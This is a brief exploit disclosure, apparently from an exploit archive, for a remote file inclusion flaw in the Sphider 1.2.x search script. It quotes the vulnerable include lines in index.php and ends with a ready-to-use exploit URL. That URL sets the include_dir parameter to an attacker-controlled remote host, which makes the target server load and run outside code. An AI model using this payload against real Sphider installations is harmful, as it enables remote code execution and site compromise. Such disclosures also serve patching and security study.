Sphider Version 1.2.x (include_dir) remote file include

script Vendor: http://cs.ioc.ee/~ando/sphider/

Discovered by: IbnuSina

found on index.php
$include_dir = "./include"; <— no patch here
$language_dir = "./languages";
include "$include_dir/index_header.inc";
include "$include_dir/conf.php";
include "$include_dir/connect.php";

exploitz : http://targe.lu/[sphiderpath]/index.php?include_dir=injekan.lu?